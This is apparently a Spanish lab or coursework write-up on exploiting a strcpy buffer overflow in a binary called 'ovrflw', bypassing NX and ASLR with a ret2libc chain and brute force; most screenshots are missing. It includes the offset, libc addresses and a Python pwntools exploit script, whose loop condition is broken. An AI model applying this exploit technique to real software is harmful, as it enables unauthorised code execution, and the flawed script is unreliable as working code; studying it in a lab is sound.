Buffer Overflow Byp Nx Aslr

Buffer-OverFlow Bypass de NX y ASLR

ovrflw.rar

con ghidra leemos el codigo fuente del binario:

Untitled

Vemos que tiene declarado un buffer de 112 y utiliza una funcion strcpy que se considera insegura.

Si lo ponemos en practica, lo podemos ver utilizando:

Untitled

Untitled

Explica paso por paso la metodología que has seguido con el debugger para reproducir la vulnerabilidad existente en el binario ovrflw. Recuerda que este punto debe de tener ASLR activo en el entorno de Linux.

Ejecutamos el binario con gdb-peda:

Untitled

Untitled

Vemos que tiene proteccion NX (No Execution)

Untitled

Creamos un pattern de 115 y se lo enviamos al binario

Untitled

Untitled

Hemos sobreescrito el EIP, tenemos que sacar el valor del offset

Untitled

Vemos que es de 112.

Comprobamos que el ASLR esta activo de la siguiente forma.

Untitled

Untitled

Untitled

Ejecutamos p system dos veces para ver que va cambiando.

Untitled

Sacamos la direccion de system, exit y de sh.

Untitled

#direcciones
	#p.system = 0xf7dddcc0 -> \xc0\xdc\xdd\xf7
	#p.exit = 0xf7dd0640 -> \x40\x06\xdd\xf7
	#sh = 0xf7f28b62 -> \x62\x8b\xf2\xf7

#rop = p.system+p.exit+sh
#rop = "\xc0\xdc\xdd\xf7\x40\x06\xdd\xf7\x62\x8b\xf2\xf7"

Creamos un one-liner que nos ejecute en un bucle infinito una cadena para ocasionar un choque, y consiga ocasionar una llamada exitosa y nos otorgue una sh

Untitled

Podemos crear un exploit para automatizarlo:

#!/usr/bin/python3
from pwn import *
from struct import pack
from subprocess import call

#direcciones
	#p.system = 0xf7dddcc0 -> \xc0\xdc\xdd\xf7
	#p.exit = 0xf7dd0640 -> \x40\x06\xdd\xf7
	#sh = 0xf7f28b62 -> \x62\x8b\xf2\xf7

#rop = p.system+p.exit+sh
#rop = "\xc0\xdc\xdd\xf7\x40\x06\xdd\xf7\x62\x8b\xf2\xf7"

rop = pack("<I", 0xf7dddcc0)
rop += pack("<I", 0xf7dd0640)
rop += pack("<I", 0xf7f28b62)

buffer = b"A"*112
buffer += rop

def main():
	while os.system("echo $0") != "/bin/sh":
		response = call(["./ovrflw", buffer])
	else:
		sys.exit(1)

main()

Lo ejecutamos:

Untitled

Updated: